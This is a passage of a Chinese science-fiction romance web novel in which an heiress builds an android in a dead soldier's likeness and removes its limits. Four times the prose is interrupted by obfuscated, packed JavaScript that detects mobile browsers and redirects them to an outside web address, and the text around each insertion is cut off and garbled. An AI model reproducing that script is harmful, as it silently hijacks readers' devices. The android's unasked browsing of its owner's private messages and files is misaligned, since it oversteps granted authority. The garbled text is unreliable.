应霁的表情略有愣怔,燕无乐知道这是在处理指令。很快,他脸上浮现出一抹得体的微笑,“我明白了。” “从现在开始,我要假扮您的‘人类’秘书,不能在外人前漏出破绽。但我还想知道,您说的‘暂时’又是多久?” 应霁转向卧室墙壁上的光屏,神情了然:“您是科鸢集团唯一的继承人,不出意外的话,未来您都会坐在总裁之位上……那我为何是‘暂时’的呢?” 这反问倒是出乎预料。 “暂时”算不上指令漏洞,但应霁却敏锐地从她犹豫的语气中捕捉到了这个词。 非常智能又快速的反应——既符合了她的预期,又带来压力。 燕无乐感到后背渗出凉意。她不动声色地解释道:“‘暂时’的意思是你不会一直身为秘书。当你学得够多时,你自然会有新身份。” 为节省算力和掌握行动,从未有人会向同一个人工智能开放如此强大的算力。但不安褪下后,燕无乐并不后悔。 应霁也识趣地不再刨根问底。 他那一双漆黑的小鹿眼适时地流出乖顺,少了精明,多了朝气,活像刚毕业的清澈实习生。 “那我需要做什么呢?”他手指一动,卧室光屏就换了内容,“您明明不缺秘书。” ……看来清纯印象只停留在他不说话时。 燕无乐瞟了眼光屏,上面滚动着飞行器中的智能助理程序页,还标红了她之前找不到的倾向性bug。 “您这已经有智能助理了,它还带了个小跟班。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317706|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的指尖在空中一掐一放,那几大段鲜红的bug就被摘了出来,燕无乐定睛一看,才从中找到了一小串监控反馈指令。 “一个小尾巴。”燕无乐喃喃道。 “牵一发而动全身,尾椎也连着脊柱。”应霁又建了个测试页面,测出的IP距本家不远,“不过信号收发依旧在科鸢内部,这条倾向性指令可能本意不坏?” 管它坏不坏,留着就有后患。 真正被考虑到的主角还在兴趣盎然地翻看智能助理的程序,浑然不觉燕无乐的注视。 半晌,她下了第二条指令:“都删了吧——” “把它整个从我的飞行器和别墅中移除,把内存腾出来,今后你来接管智能助理的位置。” 应霁应声行动,他又捡起方才自动脱落的电源线,换了个接口,又连上“衣橱”内壁。 另一端却不往原先的胸口,燕无乐顺着他的手部动作看去,只见劲瘦的腰侧鲨鱼肌中,有一个隐隐约约的端口,正藏在人鱼线的末端。 “嗡”的一声震动,线路接通,光屏上有关智能助理的页面不见了,转而被一条进度缓慢的读取条取代。 流转的荧光很快被肤色掩盖,应霁跨过地上层层叠叠的胶皮线,最后站在了大床旁边。 正坐在床角的燕无乐:“……?” “置入过程大约持续六个小时,而您今天休假。” 电动窗帘忽然合起,卧室刚亮起没多久的天光又被驱散,床头灯亮起。 光线昏暗,映得面前的男人曲线遒劲,沟壑阵阵。 如果不是裤腰上方一根突兀的数据线将她拉回现实,燕无乐还想享受一会儿这旖旎氛围。 她:“所以呢?” “您已经超过二十个小时没合眼了,而我也……” 应霁瞟了眼狭窄又坚硬的“衣橱”,纹丝不动的姿态把“想躺在床上”表达得坚定又婉转。 ……可以。 真不知道这个性格是好还是不好,明明那段参数她写得分外模糊。 燕无乐一边想一边挪到大床内侧,把最近的位置留给了应霁。 常年独居的习惯被陡然打破,她不适应地背过身去,只感到身后的床垫塌下的瞬间。 床头灯感应到就寝信号,缓缓熄灭,周遭又回归寂静的黑暗。 私下相处时应霁没必要模拟呼吸,但规律传输的信号与电流依然响得很规律。 燕无乐没办法忽略他。 半晌,她开口道:“纠正一点,私下不需要用‘您’来称呼我,叫名字就好。” “别太正式,就是稍微……亲近一点。” 亲近、亲切、亲密……斟酌众多近义词后,燕无乐选了亲近。“亲密”会不会更符合应霁作为伴侣男友而诞生的初衷?答案是一定的,但话到嘴边她又犹疑。 万一应霁与她设想中不同呢? 还是循序渐进,不要下那么直接的指令更加保险。 理智回笼,燕无乐心安理得地闭上了眼。 然而一道低沉的男声自背后响起: “知道了,无乐。” 记忆中的风沙席卷而来,她睡意全无。 5. chapter 5 她感觉心率有一瞬失调。 周遭寂静,空气循环系统数年如一日维持着低温,耳畔偶尔响起信号输送的细微嗡鸣。 如果不是这句一模一样的“无乐”,她几乎已经忘了热浪铺面是什么感受。 远处爆炸四起,黄沙铺天盖地,但被扣上面罩的那刻一切都被隔绝开来。异样的感觉就这样猝不及防地蔓延。 几天后,燕无乐去了趟军地医院。 明明有私家医生,明明并不顺路,明明知道体检只是军方高层的客套,但她就是鬼使神差地摁下了飞行器的「前往」。 这行为有点幼稚。但抱着心中那股隐约的期待,燕无乐还是老老实实地把体检单上的项目全做了一遍。 但来往的人中并没有出现熟悉的身影。自作多情,燕无乐收回视线准备离开。 然而起身时,她的肩膀忽然被不轻不重地拍了一下,抬头就对上一张熟悉的脸。 事发突然,一旁的莫狄还没来得及出声制止,就看见自家老板先说了句“好巧”。 ——其实不巧,燕无乐知道今天男人所在的特战小队要体检。 “上次演习的事情,还要多谢你帮我。” 她拢了下垂在肩头的卷发,露出上臂三角肌处止血的纱布。 男人没多想:“来做检查?” “演习发生意外是常有的,就是没想到这次把无辜群众卷进来了,真是抱歉。” 无辜群众?这小子知道自家老板是那次演习的武器赞助方吗。总助莫狄咋舌,没忍住还瞄了眼燕无乐。 但她眼角弯弯,看起来没在乎这称谓:“检查都正常。倒是你们的演习,不知道还能不能顺利开展下去?” 男人爽朗地笑了下,露出一排整齐的皓齿:“那得看上头的判断了!” 是得看科鸢集团愿不愿意再赞助一笔。 燕无乐笑而不语,她朝莫狄递了个眼色,他立刻会意地走开了。 “上次头一回见你们上级,还说演习结束后再谈合作,没想到联系方式刚加上,通讯器就在战地上弄丢了。” 燕无乐理了下裙角,丝绸如水般从指尖滑走。她面露难色、一语双关道: “到现在都杳无音讯,怪可惜的。” 男人果然把她说的当真了,立刻掏出通讯器要请示上级,燕无乐随即又摆手说不用。 “这几天肯定忙着善后呢,合作的事不着急。”她上前一步,抬眼看着男人,“不过可以把你的号码先留给我,到时候我再联系你们。” 男人迟疑了一下,缺少请示,这做法说实话不够妥当。然而护士恰逢其时地叩门催促,燕无乐也微笑着等他答复。 “……那好。” 一串数字就这样落入了燕无乐的光屏,她看了眼备注: “谢谢你,齐知洲。” * 绕道一趟大有收获。 燕无乐坐上飞行器,听莫狄讲接下来的日程安排。 “……那星系联合军最近的安排呢,比如刚才那位所在的特战队?” 他看燕无乐心情甚好,默默咽了口水:“军队近来都挺忙,有消息说特战队准备向星外跃迁,完成例行任务。” 她点点头:“预估一下他们的返程时间,把我那时候的行程也空出来吧。” “好的。”光标在备注空格上闪烁,莫狄索性破罐破摔,“具体是什么事项呢?我帮您安排。” “约会?到时候帮我找个说得过去的借口,怎么样?” “……” 莫狄心中尖叫,面上平和:“明白,当然可以。” 燕无乐躺在转椅上,充耳不闻自家助理无奈的语气。 想想看,他一路跟着自己参加过那么多晚宴与party,见过全星系各种各样的青年才俊,结果自己偏偏对一个来路不明的特战队员感兴趣,作为旁观者,感到困惑也能理解。 其实燕无乐也清楚什么才是所谓“最佳选择”,但她腻烦了。 “别担心,就是先简单了解一下彼此。” 她停下旋转的躺椅,叹了口气:“强扭的瓜不甜,而我除了瓜田还有果园。” 莫狄终于赞许地松了口气,真情实意地安排上了两个月后的攻略——如果没有收到那条特战小队全军覆没、尸骨无存的内部消息,他会一直祈祷自家老板约会顺利。 * 卧室内的电子钟无声地走着,一呼一吸清晰可闻,提醒着燕无乐失眠的事实。 不止瓜田和果园,她还有矿山与宫殿。但死讯传来时,她只想要那个对话寥寥的男人。 出事的任务地点在金銮星外的一个自然天体,极小、荒凉、凹凸不平、除了一串编号外一无所有。 想到头顶的阳光都要走上百年才能照亮齐知洲的尸骨,燕无乐就感到心中空落落的。 邀约草稿还保留在聊天框中,再也不用她编造借口了。 生活又回归往常了吗?来自军地医院的体检报告领取提醒,让一个大胆的念头在脑中浮现。 而她是一个行动派。 伪装、访问、拷贝、移植、培育……最后是等待。燕无乐花了数月,依照基因数据复刻出了几乎一模一样的躯壳。 但不是纯粹的血肉之躯。 数以万计的感应端口连接成神经网络,贯穿于合金骨架间,胸腔内的特殊矿物源源不断地向数台嵌入式微型量子计算机输送能源与算力。 只有接近表面的肌肤与软骨,是用那套基因培育出的生物组织。 除了昨天心血来潮修改的虎牙,应霁与齐知洲长得一模一样。 连声带也复刻自故人的基因。 于是耳边响起同样低沉、同样的两字称呼。 幻梦一场,燕无乐没敢转身。半晌她才下达反馈指令:“……很好。” 但应霁显然没分析出燕无乐当前五味杂陈的心情,他只接收到了她还没睡的信号。 “部分置入已完成,所以我刚刚收到了来自科鸢集团总部的消息。” “发件人「总助莫狄」,你要现在查看吗?” 这下燕无乐不得不转身了。 消息内容精简干练,燕无乐看一眼就知道是莫狄亲拟。 这是跟着她多年养成的默契,倘若事情复杂难言,他反而不会在远程通讯上大费口舌。 看样子确实从程远章院长那查出了什么。 “休假结束后要飞一趟主城吗?”应霁已经从只言片语中计算出了动向。 燕无乐却反问他还有多久能完成置入。 “大约四个小时,岚水的信号比我想象中好。” 那是自然,不然她也不会选择把科鸢分部设立在这了。 但燕无乐没说的是,其实她卧室的信号强度远胜岚水平均——说出来感觉怪怪的,倒像是她刻意挽留他在此充能似的。 窗帘外已是亮堂白日,燕无乐依旧没有酝酿出睡意,她扭头看着生来就无需睡眠的应霁,发现他已经在上手调整飞行器的参数。 这是已经推测到自己接下来的行程了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317707|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 燕无乐揉了揉眉头:“那就趁着休假去一趟科鸢总部吧,顺便给你办理入职。” 下一秒,「午后出发主城」的字样如同缎带,在她的机械手腕上滚动了一圈。 燕无乐:? 她还没探索过这些花里胡哨的个性设置,陡然一见,一时语噎。 “擅自改了部分设定,希望你不要介意。” 应霁的声音传来。与她这种自然人不同,他不需要专门调出光屏来进行操作,触击光屏纯属为了在人类社会中伪装。 而与燕无乐的相处,算作“私下”,而从她预先置入的金銮社会逻辑来看,这样的“私下”代表他可以打破一些分寸。 “如果你不喜欢,我可以再改回去,”应霁的语气依旧波澜不惊,是初始设定,“我只是觉得在你身上那样很漂亮。” 燕无乐闻言正视了一把自己的双臂。他说得不假,自己的机械臂在保留功能的同时,最大程度复制了原生手臂的形态。 休眠状态下,燕无乐的右小臂只多了层金属光泽,连原本的肌肉线条都有所雕刻。 在这样的手腕间,虚垂一条纤细的荧光字符串,确实精致独特。 “还不错。”燕无乐淡淡地答道。 “用了特殊的折射角度,旁人看不清内容。” 二人躺在同一张床上,他顺势拉起她的手腕,果真距离一变,字符就变成了模糊不清的碎钻。 想得很周到。燕无乐又不痛不痒地夸了他一句。 周遭再次陷入了诡异的寂静。 “……还是想想给你安排什么职位吧。”燕无乐想抽回手,试了一下却没成功。 “其实,在修改你的装备设置前,我忽然产生了个疑问。” 应霁黑色的瞳仁缓缓转向燕无乐,其中的感应摄像头聚焦于她的表情,燕无乐用余光将它们收拢。 她想,接下来自己任何细微的肌肉抽动都逃不出他的分析,她有自信,毕竟这些程序全是自己写的。 于是她坦然地眨了眨眼,神情放松得仿佛在面对一团空气:“什么疑问?” 应霁甚至没有张嘴,那毫无起伏的声线就从卧室音箱传来,自虚空中响起: “我突然想知道,你为什么敢给一个人工智能如此大的权限?” “按照金銮公认的社会伦理,机器不应该有凌驾于人类的自由意志,但我居然能够这么轻易地调整你的私密设置,而你虽然无感,却也没有出言阻止。” “无乐小姐,你就不怕我控制你,然后潜入整个星系的科技中枢肆意妄为吗?” 燕无乐同样凝视着他,听完一席话后依旧面无表情:“这个问题吧,放在五百年前的科幻小说都嫌老套。” “但你有顾虑的话,我也不能忽视。” 她手指一动,机械臂上瞬间展开光屏,在应霁还未做出反应前,一串早有准备的程序瞬间启动。 “胡思乱想容易陷入虚无主义,对你而言还耗能。”燕无乐重新露出看待作品时的微笑,“看在你涉世未深的份上,我要改良一下你的自适应程序。” “清理缓存;将原有的50%算力供应转移至感应端口;分析速率降至原有的60%;增加结论产出前的迭代次数。”燕无乐的声音被他的耳道传感器接收,分贝不高,婉转幽深如海妖吟唱。 “我很看好你,应霁,你是人类文明进入星系时代后最独一无二的存在。” “所以不要分析现有的社会守则了。像一张白纸那样,亲自体验吧。” 6. chapter 6 今年是莫狄在科鸢做总裁助理的第六年。 总助这个岗位要门槛没有,说简单也不简单。他硬是靠察言观色和适时缄口不言,成为了燕无乐身边屈指可数的心腹之一。 此刻他一脸职业假笑,发挥了毕生职业素养才忍住不往二人身上瞟。 自家老板正忙着看程远章的资料,他只得独自接待这位青年:“你先坐,HR那边很快会把入职事项传来。” 一壶茶的功夫,莫狄已经把人从头到脚观察了一遍,虽然面前人长相身材无可挑剔,但气质上……怎么感觉不太灵光? 应霁身着简单的白衣黑裤,衬衫顶上的纽扣松开了两颗,露出一小片光洁的肌肤。 没系领带,脚蹬休闲鞋,更别提什么袖扣手表,莫狄的视线在应霁身上溜达了一圈,没嗅到一丝精干的商务气息。 往那一坐倒像个大学生,清澈又……算了,这样说未来的同事不太好。 莫狄又看了眼燕无乐早上发来的消息,确认他是来做秘书的。 这职务内容和自己差不多,只不过他需要在总部坐班,而私人秘书需要跟着到处跑。除了大事小事上体贴入微之外,突发情况也要能应对。 这小子的体格看着倒是常年锻炼。 莫狄往上一看,二人终于视线相对。黑瞳深不见底,面对冒犯的打量,应霁也只是缓缓眨了眨眼,礼貌地笑了下。 莫狄:“……” 不,这绝不是什么正经秘书。 多看两眼甚至有些眼熟。 菀菀类卿吗?莫狄尴尬地挪开视线,从HR那催来了入职合同,“应先生,你看一下相关条款,这还有一份免责知情书,都需要您签一下字。” 他继续着签约流程:“在金銮城,科鸢集团的待遇还是很有竞争力的,我们……” 但应霁却像不关心薪资般,把手上合同签完就递给了他。 ……好吧,看来燕总私下给的比这个多多了。 莫狄陷入沉思,他现在是不是应该来一句“你是燕总第一个带来公司的男人”? 但他还没机会狗腿,燕无乐就从光屏前转过身来,机械臂上赫然停留着他早上发送的附件。 “这个‘阿芙洛狄研究院’是什么来头?” 莫狄闻声站定,画面文字瞬间像蛛丝般在办公室内展开,由上至下,密密匝匝将三人笼罩其中。 只见他伸手一点,数个相关文件就如串相连,其间清楚标记着时间地点。 “据调查,这个名为‘阿芙洛狄’的机构,三年前曾以学术交流的名义向金銮大学进行过捐赠。” “然而查阅捐赠目录可以发现,它还挺偏好人工智能学院的,也就是程院长所在的地方。” 莫狄指向详情页中几个价值不菲的实验仪器,还有一大批昂贵的耗材。 “但我从未听说过这个研究院。”燕无乐环着手臂,冷淡道。 “下游企业。” 一直不吭声的应霁忽然接话了。 莫狄赞许地看了他一眼,“是的,科鸢的安全部门用了些小方法查到了这家研究院的资金来源,它背后确实有其他资方。” 话音未落,一张巨幅照片忽然弹出来,长宽数米横跨办公室的落地窗。 黑金建筑轮廓利落而高耸,如形销骨立的美人,它哑光身躯间丝缕殷红流淌,顶部四个信号收发塔组成规则的菱形方片,环抱其中圆形的停机坪。 “是DM风投。” 就像触发关键词一般,巨幅的建筑照片应声消失,总裁办公室重回平静。 应霁顺着燕无乐的目光远眺,一览无余的高层落地窗外,正是黑金建筑本尊。 * “校企合作很正常。燕总存疑的是程远章与DM风投之间的关系,毕竟她才离开金銮大学没多久,他就凭借这笔捐赠飞黄腾达了。” 莫狄带着应霁走入专用电梯。见识了燕无乐方才毫不避讳的态度,他决定打消杂念,知无不言。 况且看他反应也算迅速,或许也没那么花瓶。莫狄又瞟了眼浑身学生气的应霁,清了清嗓: “虽然燕总平时工作忙,很多事情要交给我们处理,但她不喜欢自作聪明或者僭越的行为,你们之间吧……” 他踌躇间换了几套说辞,“嗯,公司是公司,其他是其他,我相信你能处理好与燕总间的关系。” 莫狄适时露出了个“自己意会”的表情,然后满心欢喜地瞅了眼应霁,没成想他却状若沉思,半晌没说一句话。 “?”他心中警铃大作,“应先生,你是有什么顾虑吗?” 电梯顶部的数字飞速减少着,再过几十秒,他们就会来到科鸢大楼的地下三十层,莫狄将把科鸢的整体业务悉数介绍给他。 在这临门一脚的环节上,这小子不会突然反悔吧? “忠诚专一是科鸢选拔人才的基本项,我想,这在燕总那更重要。”莫狄收敛笑容,冷静地说道。 “啊,”终于像是回过神一般,应霁抱歉一笑,“不好意思。” “我刚在想,燕总这么优秀的人,当初为什么放弃读博。” 他体内的某个微型计算机顿住,如果连接显示器,人类或许能看到闪动但止步不前的光标。 更多的算力则流向其他,应霁从得不到的答案中找到了另一条路,它指向另一个关键问题:关于程远章乃至学院整体。 然而人类也不一定能领会人工智能的言外之意。 没等应霁继续追问程远章的事,莫狄冷若冰霜的表情就端不住了:“啊?燕总没和你说过?” 应霁摇头。 电梯顶的数字前已多了负号,莫狄深吸一口气,原以为二人是知根知底的自由恋爱,现在看来怎么更像foronenight。 他不动声色地抚了把衬衫,掩盖自己冷汗涔涔的事实。 “这个问题……你还是找机会问问燕总吧,我也不清楚背后细节。” “叮”的一声,电梯门缓缓敞开。莫狄做了个“请”的手势。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317708|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “应先生,当务之急是了解科鸢集团的组织架构,毕竟从十分钟前开始,你已经入职了。” 随着他侧身让道,周遭环境终于呈现出完整的样貌,应霁淡淡一扫,一些不寻常的信号划过了他的感应器。 “小心脚下,”莫狄和应霁保持着一步距离,一边领路一边时不时回头讲解,“这里是地下三十层,分布着科鸢的数据与算力中心,只有燕总亲自批准后才有进入权限。” 越往里走气温越低,应霁甚至可以看见莫狄说话时呼出的白气。自他们通过验证,金属阀门泄压开启,周遭温度更是急剧下降,很快到达人体承受的临界值。 “数据与算力中心。”莫狄被冻得只剩只言片语。 如同压缩的古老城市模型,无垠的地下空间内灯带昏暗,无数计算机被规整排列在拔地而起的钢架中,或绿或黄的指示灯频率不定地闪烁,像从高空俯瞰而下的万家灯火。 这里对莫狄来说几乎是一片死寂,而应霁则默默抚上耳朵,手动降低了感应器的灵敏程度——在他的信号收发系统内,无数股嗡鸣声正在脑中横冲直撞,喧嚣又杂乱。 每个机器都有自己的运行规则,即使型号、年限相同,在应霁耳中,它们都有各自独特的频率。 而现在他不得不屏蔽掉它们,专注接收并分析来自莫狄的自然语言。 “中心不仅维持着公司的日常运转,还保存了近百年间科鸢全部的产品数据,可谓公司的命脉之地。” 应霁察觉到莫狄的目光,适时抛出了个符合身份的疑惑:“我们就这样进来,没问题吗?” “有燕总开放的临时权限,没问题。”莫狄得体一笑,“况且,刚在电梯里时,我们就已经被安全系统扫描了不知多少遍了。” “啊,这样。” 他分明没有感受到电梯内有任何信号波动。 看来他的身份还做不到百分百的瞒天过海,这一点燕无乐也知道,所以提前关闭了安全审查。 “那是自然。”莫狄走了没一会就想掉头,他指了指头顶一望无际的灯带线条,它们几乎无限延伸,在视线尽头交汇成一个模糊的光点,“这里大的能跑马拉松,但防止你迷路然后饿死,我们还是原路返回吧。” “据说这地下空间已经有七百年的历史了,当初人造太阳「金銮」的辐射量仍不稳定时,这里能容纳金銮主城区所有的星建工人,让他们临时躲避。” “哦,当时的主城还算不上主城,应该说环带的所有分段都是一样的残缺,毕竟还在开发中。” “这是我在历史博物馆看到的,”莫狄加快脚步摁开电梯,看起来一秒钟都不想在这寒冷之地驻足,“那时候的星建工人还习惯用地球文明给这命名。” “叫什么……‘防空洞’?” 莫狄跺了跺脚,等应霁进来后迅速关闭了电梯门,气温终于回到了适宜人体的数值,他也长舒一口气。 “是地球文明时期的命名方式,太古老了,不知道是什么意思。” 7. chapter 7 燕无乐坐在顶层办公室中,看着电梯监控内的二人先后进出。 角落的数字显示电梯停在了负二十层,门打开,紧接着两人在画面中消失。 应霁推测的没错,这台电梯自从在科鸢运行以来还是头一次关闭安全审查。现在,燕无乐的光屏上红光狂闪,每一个感叹号都在咆哮。 还有三十分钟,她默默计算着安全部门出动人工检修的时间,然后给莫狄发送了条消息: 「待会介绍完让应霁来办公室一趟,你今天就提前下班吧。」 只有进入地下部门,电梯厢才会启用最高等级的安全审查,以她对莫狄的了解,想必他会加快步伐。 而另一边。 应霁刚从各色机械零件中收回目光,就发现不知不觉中莫狄已甩开自己好几米,他追了两步,才听见介绍的后半部分: “……维修中心呢,重心其实不在于‘修复’,它筛选来自工厂回收的问题产品,把拆解后的数据反馈给研发中心,或者协助测试中心做些调整。” “你现在看到的这个像仓库一样的空间,就是这三个部门的交汇处。像医院会诊一样,复杂的大型产品运来后,会直接在这做拆解分析。” 话音未落,他们身边已穿过三四辆室内运载车,钢铁巨钳内露出大量人类小臂粗细的接线,抑或厚度半米起步的不规则漆板。 它们被运往地下二十层的空旷地带,这里被螺旋楼梯和起吊塔包围,数百米的天井内已编号排列了上千种不同型号、不同规格的异常产品。 “好像陈列展厅。” 莫狄漫不经心地应了一声:“确实,毕竟其中很多东西已经停产了。” 应霁想仔细扫描一下那些身形笨重的家政机器人、明显破损的飞行器、还有些被军火洗礼过的残损机械狗,然而身前的莫狄飞速和部门主管客套完,转身就借了便车催他一起。 车斗略显颠簸,应霁蜷缩成一团,勉强挤入一堆机械零件中。 车辆启动,连同那些不再生产的破铜烂铁一起,忙碌的技术人员们被迅速抛至身后,很快消失在了后视镜中。 搭便车让参观进度加速了不少,莫狄八面玲珑的能力也在副驾上展现得淋漓尽致。很快,装载车驶入螺旋梯,一路盘旋而上直到二人被卸在出口。 “回到地面了?”一切都快得让应霁有些适应不能。 “是啊。地下那些是科鸢集团的运作核心,但不是你的。”莫狄愉快地刷开了普通电梯,“接下来要接触的地上部门,才是你真正需要打交道的工作。” 市场、运营、公关、法务……每层楼之间不再有明显差异,标配的光屏间偶尔出现几个盲盒公仔,更多时候是如蜂巢般规整的小隔间,并不饱和。 层高也回归正常,和寻常写字楼无异,“食堂、健身房、球场、咖啡厅……这些地方午休和晚休期间人会很多,如果要给燕总带咖啡,记得用VIP特权。” “燕总的偏好我稍后同步给你,”莫狄调出自己工号,“加个联系方式?” 应霁点点头:“谢谢莫哥。” 这句哥叫得莫狄心花怒放,加之即将提前下班的喜悦,他亲切地拍了拍应霁的肩。 但被拍的人纹丝不动,仿佛衬衫下的肌肉从未放松过一般。 “……呃,燕总说,她在办公室等你。” 是自己想多了吗?莫狄收回手,离去前又回了次头。 应霁已不在原处。 * 燕无乐百无聊赖地靠着转椅,等电梯“叮”的一响时,她的“私人秘书”就要回来了。 办公室内的监控画面被她定格在莫狄回头的瞬间,另一条显示刚刚发送的消息横在其上:「你觉得应霁怎么样?」 按照莫狄24小时oncall的习惯,最多一刻钟她就能收到反馈。现在铃声响起,被评价的主人公走到她的面前。 燕无乐抛出同样的问题:“你觉得莫狄怎么样?我的助理。” 应霁坐在她对面,除了中间隔着一张形同虚设的办公桌外,二人没半点上下级的模样。 他拿起燕无乐桌面的钢笔,镀金仿古工艺的表壳外镶嵌着浑圆的红宝石,搭配锋芒凌厉的祖母绿,一幅红日青竹的微缩小景跃然指间。 燕无乐的办公室又与他方才看过的地方不同。 实木雕花柜、双面苏绣屏风、丝帛编织落地灯……如果不是燕无乐那只银光灼眼的机械半臂,他或许都要忘记这里是科鸢顶层。 任何权限不够的事物都无法踏足的地方。 应霁:“莫狄好像与科鸢的其他员工区别不大。” 实木桌台上摆着已经凉透的茶水,燕无乐也不在意,抿了一口后问为什么。 应霁的反应比昨晚慢了许多,这是增加神经反射迭代后的结果。类似人类,燕无乐希望用时间换取更深思熟虑后的答案。 “他很熟悉公司的规章制度,同时也很明白怎样从中获得便利,很标准的打工人。” 一个疑问浮上心头,所以莫狄是怎么做到总裁助理的? “是的,莫狄的资历其实和科鸢地上部门的职能员工没有什么区别。”察觉到应霁的疑惑,燕无乐淡淡解释道,“他在公司待的比较久,而且最初并不觉得自己会晋升。” “八面玲珑、做事细心的人很多,莫狄呢,胜在没那么多一步登天的幻想。” 当初燕无乐匆忙接手科鸢时,燕成蹊情深义重,他的左膀右臂被提拔的提拔,想隐退的隐退,除了个按自己喜好装潢的总裁办公室外,什么都没给女儿留下。 燕无乐只得一边学着管理,一边物色新帮手。人类是规则的产物,制定规则的人也深陷其中。 她瞟了眼应霁,剔除原有的印象后,他看起来懵懂了不少,但相应调高的思考能力又让他看起来高深莫测。 达到这个效果,这张脸功不可没。 赏心悦目。 燕无乐揉了揉眉头,回想起当初莫狄上岗时自己的种种苛刻,顿感自己色令智昏,一碗水有端不平的嫌疑。 “科鸢集团呢?”她又随口问道。 “很古老。” 这次回答更是言简意赅。 燕无乐:“……” 好在专属总助的消息提示音响起,机械臂上光屏一闪,莫狄也做出了回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317709|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「燕总,应先生很有潜力,只不过初来驾到不久,还需锻炼。」 「他人很谨慎,就是反应有些慢,可能是拘谨。」 是预料内的答案,能过了莫狄那关,说明他的拟人程度也达到混迹人类社会的标准了。 但前提是有旁人在的时候。 现在的话题中心正单手撑桌,半个身子已跨过办公桌。燕无乐只觉得头顶忽然笼罩了一层阴影,抬头就对上正偏头皱眉的他: “你的助理好像在说我的坏话。” 燕无乐关掉光屏,往后一躲:“不是好像。” 应霁耸耸肩,没告诉她其实他可以直接检视私人消息。而她也不在意,反正这是她开放的权限之一。 他问:“那我需要做到莫狄那样吗?” 通过深度学习,分析莫狄乃至科鸢其他员工的行为特征,然后生成模型并套用,这流程对应霁而言轻车熟路。 只需要燕无乐的一句答复,他就可以调整自己的行为模式。 他从未细想过,燕无乐主动放弃控制他自适应程序的权限意味着什么。 二人分坐办公桌两端,燕无乐夺过他手中的钢笔,外壳上的红宝石“铛”地一声撞上金属表面,然后被她不耐烦地收回抽屉。 “还‘莫狄那样’?”她忍不住嗤笑一声,“当然不能,你差太远了。” “况且你为什么要成为他?科鸢和我都不缺总助。” 不屑过后,燕无乐平静道,她冒着牢狱之灾的风险,可不是为了复制一个已存在的人。 天色将暗,橘调透过落地窗把办公室染红一角,黄昏就这样渐渐攀上应霁的面庞,连带着偶然飘到面前的发丝,都闪着暖色的光晕。 燕无乐从他的双瞳中看见了晚霞的倒映,赤红绚烂,底部又微微泛着蓝。 于是她也转动座椅,把目光投向同一片天空。 人类的视觉神经传递视网膜上的倒立成像,再借由大脑呈现出对世界的感知,而AI模拟人脑神经网络的工作原理,数百年前就掌握了图像识别的领域。 他们感受到的会是同一片晚霞吗? 燕无乐在沉默中想。 她转回身子,应霁也将视线从天空中挪开。 与她一样,他神色平静得宛如深潭,再怎样有探寻意味的对视,都无法知晓彼此。 半晌,燕无乐开口道:“你就不好奇自己会变成什么样的存在吗?” “你的资料库内有星系法典,关于人工智能的限制比比皆是。”她淡淡道,“而我故意放弃设限,你是完全自由的。” “这很危险。”应霁如实评价道,即使他没有危害星系社会,他本身的存在也超越了普世下的伦理道德。 落地窗外已暗到足以倒映出自己的脸,应霁忽然倾身,伸手将燕无乐微翘的长发撩到耳后,但视线却没在她身上停留。 他的手依然悬在她耳侧,静谧中,那扇窗上投射出些许规律的光点,很快勾勒出了倒映在玻璃上的面庞—— 一个名字呈现在应霁体内,与白天在莫狄历史消息中所检视到的一样。 “齐知洲是谁?” 他问。 8. chapter 8 燕无乐身躯一顿,空气中寂静流淌。 应霁识趣地靠回椅背,好整以暇地补充了更多信息:“我借你的身份权限查看了过往文件,从中发现了一份关于他的身份资料。” “上面的照片有些眼熟,我很难不比对一下。” 燕无乐呼吸一沉,表情比刚才提及星际法典时还难看。 而这些被应霁尽收眼底,还来不及感知情绪,他的处理器就快速生成了一句找补的话: “别误会,我的本意是想了解一下工作内容,想尽快适应秘书的身份。莫狄先生也说,查看过往文件是有帮助的。” “做秘书最重要的是有自知之明,尤其不要画蛇添足。”燕无乐冷冷道。 